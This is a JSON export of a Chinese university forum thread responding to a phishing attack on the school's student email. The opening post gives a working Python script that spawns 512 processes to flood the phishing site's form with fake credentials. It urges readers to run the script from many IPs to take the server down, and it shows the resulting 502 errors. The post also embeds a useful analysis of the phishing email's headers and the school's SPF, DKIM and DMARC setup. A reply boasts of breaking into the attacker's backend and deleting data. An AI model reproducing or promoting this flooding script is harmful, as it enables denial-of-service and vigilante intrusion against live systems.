{"topic":{"id":1459,"title":"🫒 coremail.club 的倡议","slug":"topic","categoryId":4,"createdAt":"2023-06-25 06:04:44.496298","bumpedAt":"2023-06-25 07:57:21.907231","views":385,"postsCount":3,"highestPostNumber":3,"likeCount":2,"closed":false,"pinned":false,"pinnedGlobally":false,"pinnedAt":null,"pinnedUntil":null,"isBanner":false,"excerpt":"鉴于有无耻下流的攻击者 coremail.club 窃取我校师生邮箱系统的用户名和密码，我写了个脚本，用来瘫痪 coremail.club 的服务器。要想效果好，需要很多人用不同的 IP 运行，对于黑客没有什么道义可讲的，让我们来给攻击者一点小小的胶带震撼 😈。等有空了我来再写篇 coremail.club 邮件事件之分析。这次我很快就把坑填上了： https://xjtu.app/t/topic/1467 这个脚本开了 512…","deletedAt":null,"isAnonymous":false,"category":{"id":4,"name":"谈笑风生","slug":"general","color":"25AAE2"},"author":{"id":1047,"username":"anonymous_coward_old","name":"Anonymous Coward Old","avatarUrl":"/uploads/image/43/32/4332638c11248b8ff07033c11de0759a55205facfbec85e14458245a91991faf.avif"},"tags":["project"]},"posts":[{"id":3434,"postNumber":1,"raw":"鉴于有无耻下流的攻击者 coremail.club 窃取我校师生邮箱系统的用户名和密码，我写了个脚本，用来瘫痪 coremail.club 的服务器。要想效果好，需要很多人用不同的 IP 运行，对于黑客没有什么道义可讲的，让我们来给攻击者一点小小的胶带震撼 :smiling_imp:。\n\n~~等有空了我来再写篇 coremail.club 邮件事件之分析。~~\n这次我很快就把坑填上了：\n\nhttps://xjtu.app/t/topic/1467\n\n\n[grid mode=\"tile\"]\n![钓鱼邮件|1000x500, 30%](https://xjtu.app/uploads/image/2e/96/2e967d9f24b588f9914556901ffd236a3d4fb72e7accef86aac22c11ec0605bc.avif)\n\n![网页截图|1000x500, 30%](https://xjtu.app/uploads/image/07/fc/07fc3e94aec41c38366df85215d59178bd1066ed23bc9e05490f3138ffe4b9d1.avif)\n[/grid]\n\n\n这个脚本开了 512 个进程向 coremail.club 的“更新”表单发随机生成的用户名和密码。即使不能让攻击者的服务器瘫痪，也可以让它变慢。\n\n\n```python\nimport multiprocessing as mp\nimport random\nimport secrets\nfrom time import sleep\nimport requests\n\nNUM_CONCURRENT_JOBS = 512\n\ndef post():\n while True:\n name = secrets.token_urlsafe(random.randrange(4, 14))\n password = secrets.token_urlsafe(random.randrange(6, 18))\n try:\n if (rand := random.random()) < 0.7:\n prefix = 'stu.'\n elif rand < 0.85:\n prefix = ''\n else:\n prefix = 'mail.'\n ret = requests.post(\"https://coremail.club/post.php\", data={'mail': f'{name}@{prefix}xjtu.edu.cn', 'pass': password})\n print(ret.status_code)\n print(ret.text)\n sleep(random.randrange(1, 3))\n except Exception:\n pass\n\n\nprocs = []\nfor i in range(NUM_CONCURRENT_JOBS):\n p = mp.Process(target=post)\n p.start()\n procs.append(p)\nfor p in procs:\n p.join()\n\n```\n\n运行后会输出一大堆服务器返回的错误信息\n```\n......\n200\n{\"code\":0,\"msg\":\"您今天已经超过可登录次数，请明天再试！\"}\n502\n\n502 Bad Gateway\n\n

502 Bad Gateway

nginx\n\n\n......\n```","cooked":"

鉴于有无耻下流的攻击者 coremail.club 窃取我校师生邮箱系统的用户名和密码，我写了个脚本，用来瘫痪 coremail.club 的服务器。要想效果好，需要很多人用不同的 IP 运行，对于黑客没有什么道义可讲的，让我们来给攻击者一点小小的胶带震撼 😈。

~~等有空了我来再写篇 coremail.club 邮件事件之分析。~~
\n这次我很快就把坑填上了：

\n $\"anonymous_coward_old\"$ \n anonymous_coward_old — #1 in stu.xjtu.edu.cn CoreMail 邮箱钓鱼事件详尽分析\n

这一企图窃取用户名密码的网络“钓鱼”攻击事件本质上属于社会工程学的范畴。攻击者冒充 admin 的权威身份，向用户发送邮件，通过谎称不输入密码后头就无法使用邮箱向用户施加压力，很多不冷静的同学会中招。今天就来分析一下下，如有不正确的地方，欢迎斧正 ☺️。

钓鱼行为分析

其实分析钓鱼邮件，有很多逻辑漏洞：

\n
标题：《关于停用学生邮箱的通知》
\n

学生 STU 邮箱自古已有，怎么可能停用，哪怕要停用，按照学校网信中心的惯例，也不会发邮件通知你的，顶多在 NIC 主页上发一则消息。

\n
本通知发出后，未及时更新的学生帐号，1 周后（7 月 2 日）
\n账号将设置为“暂停”，即只能接收邮件，不能登录和发送邮件。
\n

攻击者的逻辑都不能自洽：只能接收却不能登录和发送，然而不登录怎么能接收？

\n
为了加强电子邮件安全管理，规范电子邮箱使用，保障师生权益，根据相关规定，未更新的学生账号 (@stu.xjtu.edu.cn）将被停用。
\n

企图模仿权威口吻，但“相关规定”是哪些它并没有讲，而且它最后所附链接 https://coremail.club/ 的网站实在做得太 low 了，一点儿都没有体现那里有“加强电子邮件安全管理，规范电子邮箱使用”。

要是我来做的话，这封钓鱼邮件内容是说你的邮箱存在违规行为，需要点击某个链接以解决问题并修改密码，否则将予以封号处理。而且点击的链接肯定是一长串，带有用户名信息的链接，而不是这个攻击者用的如此简单的链接，连 xjtu.edu.cn 下面的子域名都不是（注意：以你交的 IT 技术水平，哪怕是官方域名也有钓鱼的可能，例如修改 DNS 记录、或者是在开放式无线网络中做 MITM 攻击）。

进入钓鱼网站后：

第一步，只让你输入邮箱地址（并且核验这个邮箱地址是不是邮件里的链接）不用输入密码以免你起疑心
第二步，说你有违规行为，所以要给你进行邮箱相关法律法规宣教；
第三步，问你是否仔细阅读并同意“电子邮箱使用规定”，如果是，请输入旧密码、设定新密码，以进行解封操作，此时网站后台连接 https://stu.xjtu.edu.cn 即真实的邮箱服务器，验证密码是否正确，如果是才给用户返回“成功”的讯息。这次这个攻击者啥都没做，就输入了个不知道可对的用户名密码就返回“更新成功”，着实是“更新了个寂寞”。

我认为这样才基本上算是一个合格的钓鱼攻击流程，这次的攻击者着实有点 too young too simple 了。

邮件的技术性分析

这次很多同学中招，一方面原因是发件人向 ceshi@stu.xjtu.edu.cn 这个邮件列表发送，而咱们所有用户都被配置订阅了这个邮件列表。这看起来像是配置错误导致的。

另一个很重要的原因是被发件人的邮件地址 admin@stu.xjtu.edu.cn 这样一个看起来比较权威的地址所误导，之前这个地址发送过西安交通大学校友汇刊 2023 年第 6 期、关于开展第三届校园开放日满意度调查的通知这样的合法邮件。这主要是由 Email 标准自身的局限性导致的。

这个 From:字段从名称上看应当为发件人的邮箱地址（邮件软件图形界面里发件人一栏显示的即是这里的内容），但请注意这一字段可以是假的甚至是空白。

根据 RFC5322:“From/来自：”字段指定消息的作者，即负责撰写消息的人的邮箱或系统的邮箱。 “Sender/发送者：”字段指定负责消息实际传输的代理的邮箱。例如，如果秘书要向他人发送消息，则秘书的邮箱将出现在“发送者：”字段中：实际作者的邮箱将出现在“来自：”字段中。如果消息的发起人可以由同一个邮箱表示，并且作者和传输者是相同的，则不应使用“发送者：”字段。否则，两个字段都应出现。

这被称为 Email Spoofed Phishing Attacks。

以下将逐行分析邮件的原始内容（eml 文件源码），可能会有点乱（尤其是手机 UI），但暂时没有更好的办法：

发件人的信息及 SMTP 收件软件信息

Received: from youardomain.com (unknown [122.239.134.75(浙江省温州市电信)])

Sun, 25 Jun 2023 <已省略收件的时间> +0800 (CST)

Message-ID: < 已省略了长度为 32 的像是 MD5 的字符串 @youardomain.com>
\nFrom: admin admin@stu.xjtu.edu.cn 此字段上文中已详细分析

To: ceshi ceshi@stu.xjtu.edu.cn 收件人邮箱地址
\nSubject: =?utf-8?B?5YWz5LqO5YGc55So5a2m55Sf6YKu566x55qE6YCa55+l?=
\n 注：对于 MINE 消息头中的非 ASCII 字符采用了 RFC 2047 标准进行编码，

这一段字符串解码后即是邮件主题“关于停用学生邮箱的通知”

Date: Sun, 25 Jun 2023 此处省略了时间 +0800
\nMIME-Version: 1.0
\nContent-Type: multipart/alternative;
\nboundary=\"----==----\" 该邮件有好几部分，这一行表示边界
\nX-Priority: 3 邮件的优先级
\nX-Mailer: Supmailer 38.2.0 由什么软件发送的邮件
\nX-CM-TRANSID: 已省略了一串 X-CM-TRANSID
\nX-Coremail-Antispam 经过 coremail 邮件系统 MTA 投递时自动生成的反垃圾邮件信息 :
\n 省略了 N 多行内容

Sender: yushunjiang@stu.xjtu.edu.cn 参见之前的 From:字段
\nDelivered-To: ceshi@stu.xjtu.edu.cnRFC 9228 专门描述这个字段，表示邮件投递到了哪个地址
\nPrecedence: list
\nX-Ack: No
\nErrors-to: yushunjiang@stu.xjtu.edu.cn “投递通知”应该发送到哪个地址，RFC 不推荐使用该字段，
\n应改用 RCPT TO 和
\nReturn-Path
\nList-Post: mailto:ceshi@stu.xjtu.edu.cn 使用该 URL 以发送给邮件列表：这就是为什么全校同学都收到
\n这封邮件的原因，因为咱们都在 ceshi@stu.xjtu.edu.cn 这个邮件列表地址里
\nList-Id: coremail maillist ceshi@stu.xjtu.edu.cn 邮件列表标识符
\nX-CM-Resent-From: ceshi@stu.xjtu.edu.cn
\nX-CM-SenderInfo: Coremail 邮件系统添加的一串对人来说没有信息量的字符串

邮件头的这些字段大多是由 RFC 标准确定的：https://www.iana.org/assignments/message-headers/message-headers.xhtml。
\n而 X-CM 开头的字段想必就是 CoreMail 邮件软件添加的

最后面是一堆东西 base64 编码的内容，包括一段纯文本和一个 html：

@stu.xjtu.edu.cn

附上門友提供的该次钓鱼邮件事件的截图

$\"钓鱼邮件\"$

$\"网页截图\"$

个人见解

stu.xjtu.edu.cn 这种不太靠谱的邮件服务不要用于重要的事情。

建议你交买个 Gmail 企业版，或者 MS outlook 企业版，邮件服务这东西还是大公司最可靠，而且比你买 CoreMail 软件自己搭建运维要省事。

这次事件充分暴露了你交 IT 系统有多烂，之前也有其他門友分享过：

https://xjtu.app/t/topic/117

这次只是一个很平庸的攻击，后面来个大的也未尝不可。

DNS 污染本站的动作倒挺快，~~然而这次事件之后这么长时间了 stu 邮箱并没收到任何预警/解释的邮件。~~

更新 1：

后面 stu 邮箱确实是收到了一封标题为“关于加强防范钓鱼邮件的通知”的邮件。

但没啥信息量，而且内容也有槽点，例如

\n
看清邮件发送方的域名地址 我校官方电子邮件均以**admin@xjtu.edu.cn**发出，如对方邮箱帐号与上述不一致，或非学校官方邮箱，则需保持警惕
\n

然而，此封邮件本身是由admin@stu.xjtu.edu.cn发出的，的确与上述不一致 😅，这是否说明此封邮件也是非官方发出的？？

另外，网信中心咩改变也没做。例如，想必大家都收到了来自 { dapengcao, guhanwen}@stu.xjtu.edu.cn 回复 admin@stu.xjtu.edu.cn 的 \"回复：关于停用学生邮箱的通知\" 邮件吧

\n
请问不能登录怎么接收邮件啊
\n

\n
你好，请问尝试登录邮箱显示登录已超次数该怎么办呢？
\n

为啥他们回复给 admin 的邮件我们全都收到了呢？这说明任何人还是都能往拥有所有人邮箱的邮件列表发邮件。关于这一点到底是不是个 problem，你可以想象一下，假如 Gmail 的任何用户都能给其他所有 Gmail 用户群发邮件是什么样子。你交 IT 系统着实是没救了。

更新 2：攻击得逞的原因——邮件安全扩展 DKIM、DMARC、SPF

早期互联网的设计没有考虑一丁点安全性，比如 DNS, HTTP，流量都是明文，隐私都在裸奔。邮件协议也不例外。

类似纸质邮件，Sender:和 From: 分别对应信封上的发件人和内部信纸上的发件人，为了应用的灵活性，这两栏可以不一样，从而就有冒用身份发送电邮这一攻击。

邮件安全扩展 DKIM、DMARC、SPF 就是为了克服这一安全方面上的缺憾而设计的。关于这些，洋文好的同学可以看下面的这个链接，深入浅出，非常详细：

https://dmarcly.com/blog/how-to-implement-dmarc-dkim-spf-to-stop-email-spoofing-phishing-the-definitive-guide

为啥这次 stu 邮箱攻击能得逞？我们查询一下 stu.xjtu.edu.cn这个域名的相关 DNS 记录即可知道答案。你也可以用dig 这样的工具自己查询验证，或者可以用在线服务查询。结果如下：

$ dig stu.xjtu.edu.cn txt +short\nv=spf1 ip4:162.105.129.0(北京市北京大学教育网)/24 ip4:202.117.1.51(陕西省西安市西安交通大学教育网) ip4:202.117.1.52(陕西省西安市西安交通大学教育网) include:spf.icoremail.net ~all\n\n$ dig xjtu.edu.cn txt +short\nv=spf1 ip4:162.105.129.0(北京市北京大学教育网)/24 ip4:202.117.1.0(陕西省西安市西安交通大学教育网)/24 ip4:117.32.155.53(陕西省西安市电信) ip6:2001:250:1001:1::1/64 include:spf.icoremail.net ~all\n

SPF 全称为 Sender Policy Framework，2000 年左右出现，作用是允许域名的所有者设置“只有哪些 IP/域名的计算机发信才是合法的，否则都是未经过授权的”。由上面的 DNS 记录可见确实仅允许某些服务器发信。但是对于“这些服务器发的邮件传送到接受者的服务器的过程中是否有被篡改“就无能为力了。因而需要 DKIM。

DKIM 全称 DomainKeys Identified Mail，通过公私钥非对称加密，实现传输信息不被篡改，即接受者的服务器可通过文件头中的 DKIM 签名，判断该邮件的元数据和正文在传输过程中有没有被篡改。DKIM 因而可以被理解为纸质邮件系统中的邮戳。stu 邮箱接收到的邮件头部缺少这一字段。

DMARC 用于设置 DKIM 验证失败或者 Sender:/From:不统一时，收件邮件服务器应当怎么处理。有几种 policy：

reject 表示退信，从而该邮件不会出现在收件人的邮箱中。
quarantine 表示防疫隔离，把该邮件分类到spam文件夹里，提醒收件人注意该邮件是有问题的。
none 表示不管，从而该邮件就像正常邮件一样出现收件人的邮箱

DNS 检索结果显示 stu 邮箱应该是没有设置 DKIM 和 DMARC！

下面看看这个交大門网站的邮件安全性如何呢？
\n交大門是通过 MailGun 实现邮件服务的。

$ dig xjtu.app txt +short                    \n\"v=spf1 -all\"\n\n$ dig mg.xjtu.app txt +short                   \n\"v=spf1 include:mailgun.org ~all\"\n\n$ dig krs._domainkey.mg.xjtu.app txt +short\n\"k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5Wqp0OsFNjfZ+03zwfKnN2Wx0A24AiKVH+ypYqWseBq16WxKpyQ5ZdJWqnNd96RCugXwjW4S+ylgB2u0U6QNZvCvwoJZMdc2uzEeVv5o7dH7sh2qlH0D+u0MMoM4LYtO+TFdnaM7mI83m1vYp0Ns4LECbxTvFWTMYDP8UgMNUqQIDAQAB\"\n\n$ dig _dmarc.xjtu.app txt +short\n\"v=DMARC1; p=reject; sp=reject; adkim=s; aspf=s; rua=mailto:c8d07a9ce26e4cfcb1d42ba73f9e17cd@dmarc-reports.cloudflare.net\"\n\n

可以看出交大門非常注重安全性，配置了只有 mailgun.org 的服务器才可以代表本站发信，并且配置了 DKIM 保证了邮件的 integrity，DMARC 策略是 reject，即有人企图假冒本站，收件邮件系统应当直接丢弃。

在这里讲一个趣事，交大門早期有 Gmail 用户和 Outlook 用户抱怨收不到注册邮件，垃圾邮件文件夹里也没有。原因是邮件由于 reject 的 DMARC 策略被直接丢弃了。

然而 SPF 和 DKIM 的配置都正确，（不然其他邮件服务的用户也注册不了啊），为什么会被丢掉呢？

原因是起初给用户发邮件用的是 noreply@xjtu.app这个地址，而 mailgun 里配置使用的是mg.xjtu.app 这个子域名，由 Gmail 显示的原始邮件内容中可见：

Sender: noreply=xjtu.app@mg.xjtu.app\nFrom: \"xjtu.app 交大門\" <noreply@xjtu.app>\n

由于是 mg.xjtu.app 代 xjtu.app 发信，从而 Sender 和 From 两个字段不统一，所以被 Gmail 退信。
\n在这里特地表扬 Google Gmail 和 MS Outlook 在安全方面的谨慎。

再吐槽一下，交大門作为一个非官方网站，都能遵循网络安全领域的 common practice 进行配置。堂堂一个几万人的大学，IT 系统这么烂，着实有点说不过去。

如果有顶级黑客想渗透你交的 IT 系统，恐怕早已做过并留下后门，所以你交引以为傲的一些很牛的科研成果的原创团队要留心了，需要提高信息安全素养，别让成果被黑客给窃取了。

另请参阅：

https://xjtu.app/t/topic/1459

$\"钓鱼邮件\"$

$\"网页截图\"$

这个脚本开了 512 个进程向 coremail.club 的“更新”表单发随机生成的用户名和密码。即使不能让攻击者的服务器瘫痪，也可以让它变慢。

import multiprocessing as mp\nimport random\nimport secrets\nfrom time import sleep\nimport requests\n\nNUM_CONCURRENT_JOBS = 512\n\ndef post():\n  while True:\n    name = secrets.token_urlsafe(random.randrange(4, 14))\n    password = secrets.token_urlsafe(random.randrange(6, 18))\n    try:\n      if (rand := random.random()) < 0.7:\n        prefix = 'stu.'\n      elif rand < 0.85:\n        prefix = ''\n      else:\n        prefix = 'mail.'\n      ret = requests.post(\"https://coremail.club/post.php\", data={'mail': f'{name}@{prefix}xjtu.edu.cn', 'pass': password})\n      print(ret.status_code)\n      print(ret.text)\n      sleep(random.randrange(1, 3))\n    except Exception:\n      pass\n\n\nprocs = []\nfor i in range(NUM_CONCURRENT_JOBS):\n  p = mp.Process(target=post)\n  p.start()\n  procs.append(p)\nfor p in procs:\n  p.join()\n\n

运行后会输出一大堆服务器返回的错误信息

......\n200\n{\"code\":0,\"msg\":\"您今天已经超过可登录次数，请明天再试！\"}\n502\n<html>\n<head><title>502 Bad Gateway</title></head>\n<body>\n<center><h1>502 Bad Gateway</h1></center>\n<hr><center>nginx</center>\n</body>\n</html>\n......\n

\n","createdAt":"2023-06-25 06:04:44.701727","updatedAt":"2023-10-20 06:20:39.493845","replyToPostNumber":null,"replyCount":0,"likeCount":1,"wordCount":341,"liked":false,"bookmarked":false,"polls":[],"reactions":[{"reaction":"👍️","count":1,"users":[{"id":93,"username":"copi","name":null}],"hasReacted":false},{"reaction":"😆️","count":1,"users":[{"id":1835,"username":"Dusk","name":"夕大画家"}],"hasReacted":false},{"reaction":"❤️","count":1,"users":[{"id":1047,"username":"anonymous_coward_old","name":"Anonymous Coward Old"}],"hasReacted":false}],"wiki":false,"version":6,"publicVersion":6,"deletedAt":null,"isAnonymous":false,"user":{"id":1047,"username":"anonymous_coward_old","name":"Anonymous Coward Old","avatarUrl":"/uploads/image/43/32/4332638c11248b8ff07033c11de0759a55205facfbec85e14458245a91991faf.avif","admin":false,"moderator":false,"signatureRaw":null,"signatureCooked":null}},{"id":3439,"postNumber":2,"raw":"![3CB4CEF00A103C414DB96CE3F1E54681|521x350](/uploads/image/dc/74/dc747b94ad5a43659c80c05db0270f93b38eb0013cc439caeecdc0bb8e7aa1ee.avif)","cooked":"

$\"3CB4CEF00A103C414DB96CE3F1E54681\"$

\n","createdAt":"2023-06-25 07:54:57.620074","updatedAt":"2023-06-25 07:54:57.620074","replyToPostNumber":null,"replyCount":1,"likeCount":0,"wordCount":1,"liked":false,"bookmarked":false,"polls":[],"reactions":[],"wiki":false,"version":1,"publicVersion":1,"deletedAt":null,"isAnonymous":false,"user":{"id":429,"username":"664","name":"664","avatarUrl":"/uploads/image/19/02/190225001021e3d2862e6331d2fbfd260e62a01615c60389d53dd01512d1d624.avif","admin":false,"moderator":false,"signatureRaw":null,"signatureCooked":null}},{"id":3440,"postNumber":3,"raw":"跟网安学院的同学进它后台删数据还是不能比","cooked":"

跟网安学院的同学进它后台删数据还是不能比

\n","createdAt":"2023-06-25 07:57:21.907231","updatedAt":"2024-03-17 13:04:44.333202","replyToPostNumber":2,"replyCount":0,"likeCount":1,"wordCount":20,"liked":false,"bookmarked":false,"polls":[],"reactions":[{"reaction":"❤️","count":1,"users":[{"id":103,"username":"MiaoHN","name":null}],"hasReacted":false}],"wiki":false,"version":1,"publicVersion":1,"deletedAt":null,"isAnonymous":false,"user":{"id":1047,"username":"anonymous_coward_old","name":"Anonymous Coward Old","avatarUrl":"/uploads/image/43/32/4332638c11248b8ff07033c11de0759a55205facfbec85e14458245a91991faf.avif","admin":false,"moderator":false,"signatureRaw":null,"signatureCooked":null}}],"hasMore":false,"lastReadPostNumber":1,"hasUrlPostNumber":false}